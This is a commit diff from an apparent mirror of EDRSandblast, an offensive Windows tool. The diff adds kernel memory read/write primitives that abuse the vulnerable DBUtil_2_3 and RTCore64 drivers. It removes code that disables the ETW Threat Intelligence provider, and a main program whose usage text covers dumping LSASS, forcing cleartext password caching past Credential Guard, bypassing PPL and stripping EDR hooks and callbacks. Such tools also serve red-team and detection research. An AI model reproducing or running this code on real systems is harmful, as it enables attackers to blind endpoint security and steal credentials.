mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-16 20:11:17 +00:00
D3FC0N 30 release: Obj callbacks, firewalling, symbols w/ internet, and more
Co-authored-by: Maxime Meignan <maxime.meignan@wavestone.com>
This commit is contained in:
@@ -0,0 +1,118 @@
|
||||
#include <windows.h>
|
||||
#include <assert.h>
|
||||
#include <tchar.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
|
||||
/*
|
||||
* "DBUtil_2_3.sys" (SHA256: 0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5)
|
||||
*/
|
||||
|
||||
struct DBUTIL23_MEMORY_READ {
|
||||
DWORD64 field0;
|
||||
DWORD64 Address;
|
||||
DWORD Offset;
|
||||
DWORD field14;
|
||||
BYTE Buffer[1];
|
||||
};
|
||||
|
||||
struct DBUTIL23_MEMORY_WRITE {
|
||||
DWORD64 field0;
|
||||
DWORD64 Address;
|
||||
DWORD Offset;
|
||||
DWORD field14;
|
||||
BYTE Buffer[1];
|
||||
};
|
||||
|
||||
static const DWORD DBUTIL23_MEMORY_READ_CODE = 0x9B0C1EC4;
|
||||
static const DWORD DBUTIL23_MEMORY_WRITE_CODE = 0x9B0C1EC8;
|
||||
|
||||
static_assert(offsetof(struct DBUTIL23_MEMORY_READ, Buffer) == 0x18, "sizeof DBUTIL23_MEMORY_READ must be 0x18 bytes");
|
||||
static_assert(offsetof(struct DBUTIL23_MEMORY_WRITE, Buffer) == 0x18, "sizeof DBUTIL23_MEMORY_WRITE must be 0x18 bytes");
|
||||
|
||||
HANDLE g_Device_DBUtil = INVALID_HANDLE_VALUE;
|
||||
HANDLE GetDriverHandle_DBUtil() {
|
||||
if (g_Device_DBUtil == INVALID_HANDLE_VALUE) {
|
||||
TCHAR service[] = TEXT("\\\\.\\DBUtil_2_3");
|
||||
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
|
||||
if (Device == INVALID_HANDLE_VALUE) {
|
||||
_tprintf_or_not(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
g_Device_DBUtil = Device;
|
||||
}
|
||||
|
||||
return g_Device_DBUtil;
|
||||
}
|
||||
|
||||
VOID CloseDriverHandle_DBUtil() {
|
||||
CloseHandle(g_Device_DBUtil);
|
||||
g_Device_DBUtil = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
VOID ReadMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
|
||||
struct DBUTIL23_MEMORY_READ* ReadCommand = calloc(1, Size + sizeof(struct DBUTIL23_MEMORY_READ));
|
||||
if (!ReadCommand) {
|
||||
_putts_or_not(TEXT("Allocation failed, aborting...\n"));
|
||||
exit(1);
|
||||
}
|
||||
ReadCommand->Address = Address;
|
||||
ReadCommand->Offset = 0;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
if (Address < 0x0000800000000000) {
|
||||
_tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address);
|
||||
exit(1);
|
||||
}
|
||||
if (Address < 0xFFFF800000000000) {
|
||||
_tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
DeviceIoControl(GetDriverHandle_DBUtil(),
|
||||
DBUTIL23_MEMORY_READ_CODE,
|
||||
ReadCommand,
|
||||
offsetof(struct DBUTIL23_MEMORY_READ, Buffer) + (DWORD)Size,
|
||||
ReadCommand,
|
||||
offsetof(struct DBUTIL23_MEMORY_READ, Buffer) + (DWORD)Size,
|
||||
&BytesReturned,
|
||||
NULL);
|
||||
memcpy(Buffer, ReadCommand->Buffer, Size);
|
||||
}
|
||||
|
||||
|
||||
VOID WriteMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
|
||||
struct DBUTIL23_MEMORY_WRITE* WriteCommand = calloc(1, Size + sizeof(struct DBUTIL23_MEMORY_WRITE));
|
||||
if (!WriteCommand) {
|
||||
_putts_or_not(TEXT("Allocation failed, aborting...\n"));
|
||||
exit(1);
|
||||
}
|
||||
WriteCommand->Address = Address;
|
||||
WriteCommand->Offset = 0;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
if (Address < 0x0000800000000000) {
|
||||
_tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address);
|
||||
exit(1);
|
||||
}
|
||||
if (Address < 0xFFFF800000000000) {
|
||||
_tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
memcpy(WriteCommand->Buffer, Buffer, Size);
|
||||
DeviceIoControl(GetDriverHandle_DBUtil(),
|
||||
DBUTIL23_MEMORY_WRITE_CODE,
|
||||
WriteCommand,
|
||||
offsetof(struct DBUTIL23_MEMORY_WRITE, Buffer) + (DWORD)Size,
|
||||
WriteCommand,
|
||||
offsetof(struct DBUTIL23_MEMORY_WRITE, Buffer) + (DWORD)Size,
|
||||
&BytesReturned,
|
||||
NULL);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,168 @@
|
||||
#include <windows.h>
|
||||
#include <assert.h>
|
||||
#include <tchar.h>
|
||||
|
||||
#if NO_STRINGS
|
||||
#define _putts_or_not(...)
|
||||
#define _tprintf_or_not(...)
|
||||
#define wprintf_or_not(...)
|
||||
#define printf_or_not(...)
|
||||
#pragma warning(disable : 4189)
|
||||
|
||||
#else
|
||||
#define _putts_or_not(...) _putts(__VA_ARGS__)
|
||||
#define _tprintf_or_not(...) _tprintf(__VA_ARGS__)
|
||||
#define printf_or_not(...) printf(__VA_ARGS__)
|
||||
#define wprintf_or_not(...) wprintf(__VA_ARGS__)
|
||||
#endif
|
||||
|
||||
/*
|
||||
* "RTCore64.sys" (SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD)
|
||||
*/
|
||||
|
||||
struct RTCORE64_MEMORY_READ {
|
||||
BYTE Pad0[8];
|
||||
DWORD64 Address;
|
||||
DWORD Pad1;
|
||||
DWORD Offset;
|
||||
DWORD ReadSize;
|
||||
DWORD Value;
|
||||
BYTE Pad3[16];
|
||||
};
|
||||
|
||||
struct RTCORE64_MEMORY_WRITE {
|
||||
BYTE Pad0[8];
|
||||
DWORD64 Address;
|
||||
DWORD Pad1;
|
||||
DWORD Offset;
|
||||
DWORD WriteSize;
|
||||
DWORD Value;
|
||||
BYTE Pad3[16];
|
||||
};
|
||||
|
||||
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
|
||||
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
|
||||
|
||||
static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
|
||||
static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
|
||||
|
||||
HANDLE g_Device_RTCore = INVALID_HANDLE_VALUE;
|
||||
HANDLE GetDriverHandle_RTCore() {
|
||||
if (g_Device_RTCore == INVALID_HANDLE_VALUE) {
|
||||
TCHAR service[] = TEXT("\\\\.\\RTCore64");
|
||||
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
|
||||
if (Device == INVALID_HANDLE_VALUE) {
|
||||
_tprintf_or_not(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
g_Device_RTCore = Device;
|
||||
}
|
||||
|
||||
return g_Device_RTCore;
|
||||
}
|
||||
|
||||
VOID CloseDriverHandle_RTCore() {
|
||||
CloseHandle(g_Device_RTCore);
|
||||
g_Device_RTCore = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
VOID ReadMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
|
||||
while (Size) {
|
||||
struct RTCORE64_MEMORY_READ ReadCommand = { 0 };
|
||||
ReadCommand.Address = Address;
|
||||
if (Size >= 4) {
|
||||
ReadCommand.ReadSize = 4;
|
||||
}
|
||||
else if (Size >= 2) {
|
||||
ReadCommand.ReadSize = 2;
|
||||
}
|
||||
else {
|
||||
ReadCommand.ReadSize = 1;
|
||||
}
|
||||
ReadCommand.Offset = 0;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
if (Address < 0x0000800000000000) {
|
||||
_tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address);
|
||||
exit(1);
|
||||
}
|
||||
if (Address < 0xFFFF800000000000) {
|
||||
_tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
DeviceIoControl(GetDriverHandle_RTCore(),
|
||||
RTCORE64_MEMORY_READ_CODE,
|
||||
&ReadCommand,
|
||||
sizeof(ReadCommand),
|
||||
&ReadCommand,
|
||||
sizeof(ReadCommand),
|
||||
&BytesReturned,
|
||||
NULL);
|
||||
|
||||
Address += ReadCommand.ReadSize;
|
||||
if (Size >= 4) {
|
||||
*(PDWORD)Buffer = (DWORD)ReadCommand.Value;
|
||||
}
|
||||
else if (Size >= 2) {
|
||||
*(PWORD)Buffer = (WORD)ReadCommand.Value;
|
||||
}
|
||||
else {
|
||||
*(PBYTE)Buffer = (BYTE)ReadCommand.Value;
|
||||
}
|
||||
Size -= ReadCommand.ReadSize;
|
||||
Buffer = (PVOID)(((DWORD64)Buffer) + ReadCommand.ReadSize);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* RTCore driver allows to write 1, 2 or 4 bytes at a type
|
||||
*/
|
||||
VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
|
||||
while (Size) {
|
||||
struct RTCORE64_MEMORY_WRITE WriteCommand = { 0 };
|
||||
WriteCommand.Address = Address;
|
||||
if (Size >= 4) {
|
||||
WriteCommand.WriteSize = 4;
|
||||
WriteCommand.Value = *(PDWORD)Buffer;
|
||||
}
|
||||
else if (Size >= 2) {
|
||||
WriteCommand.WriteSize = 2;
|
||||
WriteCommand.Value = *(PWORD)Buffer;
|
||||
}
|
||||
else {
|
||||
WriteCommand.WriteSize = 1;
|
||||
WriteCommand.Value = *(PBYTE)Buffer;
|
||||
}
|
||||
WriteCommand.Offset = 0;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
if (Address < 0x0000800000000000) {
|
||||
_tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address);
|
||||
exit(1);
|
||||
}
|
||||
if (Address < 0xFFFF800000000000) {
|
||||
_tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
DeviceIoControl(GetDriverHandle_RTCore (),
|
||||
RTCORE64_MEMORY_WRITE_CODE,
|
||||
&WriteCommand,
|
||||
sizeof(WriteCommand),
|
||||
&WriteCommand,
|
||||
sizeof(WriteCommand),
|
||||
&BytesReturned,
|
||||
NULL);
|
||||
|
||||
Address += WriteCommand.WriteSize;
|
||||
Size -= WriteCommand.WriteSize;
|
||||
Buffer = (PVOID)(((DWORD64)Buffer) + WriteCommand.WriteSize);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,89 +0,0 @@
|
||||
/*
|
||||
|
||||
--- ETW Threat Intelligence operations.
|
||||
--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
|
||||
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#include "ETWThreatIntel.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
|
||||
DWORD64 GetEtwThreatIntProvRegHandleAddress() {
|
||||
if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0) {
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
DWORD64 Ntoskrnlbaseaddress = FindNtoskrnlBaseAddress();
|
||||
return Ntoskrnlbaseaddress + ntoskrnlOffsets.st.etwThreatIntProvRegHandle;
|
||||
}
|
||||
|
||||
DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose) {
|
||||
if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0 || ntoskrnlOffsets.st.etwRegEntry_GuidEntry == 0x0 || ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo == 0x0) {
|
||||
_tprintf(TEXT("[!] ETW Threat Intel ProviderEnableInfo address could not be found. This version of ntoskrnl may not implement ETW Threat Intel.\n"));
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
HANDLE Device = GetDriverHandle();
|
||||
DWORD64 etwThreatIntProvRegHandleAddress = GetEtwThreatIntProvRegHandleAddress();
|
||||
|
||||
DWORD64 etwThreatInt_ETW_REG_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatIntProvRegHandleAddress);
|
||||
if (verbose) {
|
||||
_tprintf(TEXT("[+] Found ETW Threat Intel provider _ETW_REG_ENTRY at 0x%I64x\n"), etwThreatInt_ETW_REG_ENTRYAddress);
|
||||
}
|
||||
DWORD64 etwThreatInt_ETW_GUID_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatInt_ETW_REG_ENTRYAddress + ntoskrnlOffsets.st.etwRegEntry_GuidEntry);
|
||||
|
||||
CloseHandle(Device);
|
||||
|
||||
return etwThreatInt_ETW_GUID_ENTRYAddress + ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo;
|
||||
}
|
||||
|
||||
void EnableDisableETWThreatIntelProvider(BOOL verbose, BOOL enable) {
|
||||
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
|
||||
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
|
||||
return;
|
||||
}
|
||||
|
||||
_tprintf(TEXT("[*] Attempting to %s the ETW Threat Intel provider by patching ProviderEnableInfo at 0x%I64x with 0x%02X.\n"),
|
||||
enable ? TEXT("(re)enable") : TEXT("disable"), etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
|
||||
HANDLE Device = GetDriverHandle();
|
||||
WriteMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
|
||||
|
||||
BOOL finalState = isETWThreatIntelProviderEnabled(verbose);
|
||||
if (finalState == enable) {
|
||||
_tprintf(TEXT("[+] The ETW Threat Intel provider was successfully %s!\n"), enable ? TEXT("enabled") : TEXT("disabled"));
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Failed to %s the ETW Threat Intel provider!\n"), enable ? TEXT("enable") : TEXT("disable"));
|
||||
}
|
||||
|
||||
CloseHandle(Device);
|
||||
}
|
||||
|
||||
|
||||
void DisableETWThreatIntelProvider(BOOL verbose) {
|
||||
EnableDisableETWThreatIntelProvider(verbose, FALSE);
|
||||
}
|
||||
|
||||
|
||||
void EnableETWThreatIntelProvider(BOOL verbose) {
|
||||
EnableDisableETWThreatIntelProvider(verbose, TRUE);
|
||||
}
|
||||
|
||||
|
||||
BOOL isETWThreatIntelProviderEnabled(BOOL verbose) {
|
||||
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
|
||||
|
||||
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
HANDLE Device = GetDriverHandle();
|
||||
BYTE etwThreatInt_ProviderEnableInfoValue = ReadMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress);
|
||||
CloseHandle(Device);
|
||||
|
||||
return etwThreatInt_ProviderEnableInfoValue == ENABLE_PROVIDER;
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,9 +1,28 @@
|
||||
#pragma once
|
||||
|
||||
//TODO P1 : implement a "clean" mode that only removes the driver if installed
|
||||
//TODO P2 : replace all instances of exit(1) by a clean_exit() function that uninstalls the driver before exiting
|
||||
typedef enum _START_MODE {
|
||||
dump,
|
||||
cmd,
|
||||
credguard,
|
||||
audit,
|
||||
firewall,
|
||||
none
|
||||
} START_MODE;
|
||||
} START_MODE;
|
||||
|
||||
#define NO_STRINGS 0
|
||||
|
||||
#if NO_STRINGS
|
||||
#define _putts_or_not(...)
|
||||
#define _tprintf_or_not(...)
|
||||
#define wprintf_or_not(...)
|
||||
#define printf_or_not(...)
|
||||
#pragma warning(disable : 4189)
|
||||
|
||||
#else
|
||||
#define _putts_or_not(...) _putts(__VA_ARGS__)
|
||||
#define _tprintf_or_not(...) _tprintf(__VA_ARGS__)
|
||||
#define printf_or_not(...) printf(__VA_ARGS__)
|
||||
#define wprintf_or_not(...) wprintf(__VA_ARGS__)
|
||||
#endif
|
||||
@@ -1,549 +0,0 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#ifdef _DEBUG
|
||||
#include <assert.h>
|
||||
#endif
|
||||
|
||||
#include "CredGuard.h"
|
||||
#include "DriverOps.h"
|
||||
#include "ETWThreatIntel.h"
|
||||
#include "KernelCallbacks.h"
|
||||
#include "LSASSDump.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
#include "RunAsPPL.h"
|
||||
#include "WdigestOffsets.h"
|
||||
#include "UserlandHooks.h"
|
||||
|
||||
#include "EDRSandBlast.h"
|
||||
|
||||
/*
|
||||
|
||||
--- Execution entry point.
|
||||
|
||||
*/
|
||||
|
||||
int _tmain(int argc, TCHAR** argv) {
|
||||
// Parse command line arguments and initialize variables to default values if needed.
|
||||
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe <audit | dump | cmd | credguard> [-h | --help] [-v | --verbose] [--usermode [--unhook-method <N>]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--add-dll <dll name or path>]* [-o | --dump-output <DUMP_FILE>]");
|
||||
const TCHAR extendedUsage[] = TEXT("\n\
|
||||
-h | --help Show this help message and exit.\n\
|
||||
-v | --verbose Enable a more verbose output.\n\
|
||||
\n\
|
||||
Actions mode:\n\
|
||||
\n\
|
||||
\taudit Display the user-land hooks and / or Kernel callbacks without taking actions.\n\
|
||||
\tdump Dump the LSASS process, by default as 'lsass' in the current directory or at the\n\
|
||||
\t specified file using -o | --output <DUMP_FILE>.\n\
|
||||
\tcmd Open a cmd.exe prompt.\n\
|
||||
\tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\
|
||||
\t Credential Guard is enabled on the host. No kernel-land actions required.\n\
|
||||
\n\
|
||||
--usermode Perform user-land operations (DLL unhooking).\n\
|
||||
--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\
|
||||
\n\
|
||||
--unhook-method <N>\n Choose the userland un-hooking technique, from the following: \n\
|
||||
\n\
|
||||
\t1 (Default) Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all\n\
|
||||
\t present userland hooks.\n\
|
||||
\t2 Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by\n\
|
||||
\t allocating an executable trampoline jumping over the hook, and remove all present\n\
|
||||
\t userland hooks.\n\
|
||||
\t3 Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'\n\
|
||||
\t (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland\n\
|
||||
\t hooks.\n\
|
||||
\t4 Loads an additional version of ntdll library into memory, and use the (hopefully\n\
|
||||
\t unmonitored) version of NtProtectVirtualMemory present in this library to remove all\n\
|
||||
\t present userland hooks.\n\
|
||||
\t5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,\n\
|
||||
\t and uses it to remove all detected hooks\n\
|
||||
\n\
|
||||
Other options:\n\
|
||||
\n\
|
||||
--dont-unload-driver Keep the Micro-Star MSI Afterburner vulnerable driver installed on the host\n\
|
||||
Default to automatically unsinstall the driver.\n\
|
||||
--dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed.\n\
|
||||
Default to restore the callbacks.\n\
|
||||
\n\
|
||||
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\
|
||||
Default to 'RTCore64.sys' in the current directory.\n\
|
||||
--service <SERVICE_NAME> Name of the vulnerable service to intall / start.\n\
|
||||
\n\
|
||||
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
|
||||
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
|
||||
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\
|
||||
(only for the 'credguard' mode).\n\
|
||||
Default to 'WdigestOffsets.csv' in the current directory.\n\
|
||||
\n\
|
||||
--add-dll <dll name or path> Loads arbitrary libraries into the process' address space, before starting\n\
|
||||
anything. This can be useful to audit userland hooking for DLL that are not\n\
|
||||
loaded by default by this program. Use this option multiple times to load\n\
|
||||
multiple DLLs all at once.\n\
|
||||
Example of interesting DLLs to look at: user32.dll, ole32.dll, crypt32.dll,\n\
|
||||
samcli.dll, winhttp.dll, urlmon.dll, secur32.dll, shell32.dll...\n\
|
||||
\n\
|
||||
-o | --output <DUMP_FILE> Output path to the dump file that will be generated by the 'dump' mode.\n\
|
||||
Default to 'lsass' in the current directory.\n");
|
||||
BOOL status;
|
||||
TCHAR currentFolderPath[MAX_PATH] = { 0 };
|
||||
GetCurrentDirectory(_countof(currentFolderPath), currentFolderPath);
|
||||
|
||||
if (argc < 2) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
START_MODE startMode = none;
|
||||
TCHAR driverPath[MAX_PATH * 2] = { 0 };
|
||||
TCHAR driverDefaultName[] = TEXT("RTCore64.sys");
|
||||
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH * 2] = { 0 };
|
||||
TCHAR wdigestOffsetCSVPath[MAX_PATH * 2] = { 0 };
|
||||
TCHAR outputPath[MAX_PATH * 2] = { 0 };
|
||||
BOOL verbose = FALSE;
|
||||
BOOL removeVulnDriver = TRUE;
|
||||
BOOL restoreCallbacks = TRUE;
|
||||
BOOL userMode = FALSE;
|
||||
enum unhook_method_e unhook_method = UNHOOK_WITH_NTPROTECTVIRTUALMEMORY;
|
||||
BOOL kernelMode = FALSE;
|
||||
int lpExitCode = EXIT_SUCCESS;
|
||||
struct FOUND_EDR_CALLBACKS* checkEDRDrivers = NULL;
|
||||
struct FOUND_EDR_CALLBACKS* removedEDRDrivers = NULL;
|
||||
BOOL ETWTIState = FALSE;
|
||||
hook* hooks = NULL;
|
||||
|
||||
|
||||
for (int i = 1; i < argc; i++) {
|
||||
if (_tcsicmp(argv[i], TEXT("dump")) == 0) {
|
||||
startMode = dump;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("cmd")) == 0) {
|
||||
startMode = cmd;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("credguard")) == 0) {
|
||||
startMode = credguard;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("audit")) == 0) {
|
||||
startMode = audit;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) {
|
||||
_tprintf(TEXT("%s\n"), usage);
|
||||
_tprintf(TEXT("%s\n"), extendedUsage);
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("-v")) == 0 || _tcsicmp(argv[i], TEXT("--verbose")) == 0) {
|
||||
verbose = TRUE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--usermode")) == 0) {
|
||||
userMode = TRUE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--kernelmode")) == 0) {
|
||||
kernelMode = TRUE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--dont-unload-driver")) == 0) {
|
||||
removeVulnDriver = FALSE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--dont-restore-callbacks")) == 0) {
|
||||
restoreCallbacks = FALSE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--driver")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--service")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
SetServiceName(argv[i], _tcslen(argv[i]) + 1);
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--nt-offsets")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("-o")) == 0 || _tcsicmp(argv[i], TEXT("--dump-output")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(outputPath, _countof(outputPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--unhook-method")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
unhook_method = _ttoi(argv[i]);
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--add-dll")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
HANDLE hAdditionnalLib = LoadLibrary(argv[i]);
|
||||
if (hAdditionnalLib == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("Library %s could not have been loaded, exiting...\n"), argv[i]);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
// Command line option consistency checks.
|
||||
if (startMode == none){
|
||||
_tprintf(TEXT("[!] You did not provide an action to perform: audit, dump, credguard or cmd\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
if (startMode == cmd && !kernelMode) {
|
||||
_tprintf(TEXT("'cmd' mode needs kernel-land unhooking to work, please enable --kernelmode\n"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
if (!userMode && !kernelMode) {
|
||||
_tprintf(TEXT("[!] You did not provide at least one option between --usermode and --kernelmode. Enabling --usermode by default...\n"));
|
||||
userMode = TRUE;
|
||||
}
|
||||
if (startMode == credguard && !kernelMode) {
|
||||
_tprintf(TEXT("[!] Credential Guard bypass might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
|
||||
}
|
||||
if (startMode == dump && !kernelMode) {
|
||||
_tprintf(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
|
||||
}
|
||||
if (!userMode && kernelMode) {
|
||||
_tprintf(TEXT("[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)\n"));
|
||||
}
|
||||
|
||||
BOOL isSafeToExecutePayload = TRUE;
|
||||
|
||||
if (userMode) {
|
||||
_tprintf(TEXT("Loaded DLLs in current process:\n"));
|
||||
hooks = searchHooks(NULL);
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
if (startMode != audit) {
|
||||
for (hook* ptr = hooks; ptr->disk_function != NULL; ptr++) {
|
||||
printf("Unhooking %s using method %ld ...\n", ptr->functionName, unhook_method);
|
||||
unhook(ptr, unhook_method);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (kernelMode) {
|
||||
if (_tcslen(driverPath) == 0) {
|
||||
TCHAR separator[] = TEXT("\\");
|
||||
_tcsncat_s(driverPath, _countof(driverPath), currentFolderPath, _countof(currentFolderPath));
|
||||
_tcsncat_s(driverPath, _countof(driverPath), separator, _countof(separator));
|
||||
_tcsncat_s(driverPath, _countof(driverPath), driverDefaultName, _countof(driverDefaultName));
|
||||
}
|
||||
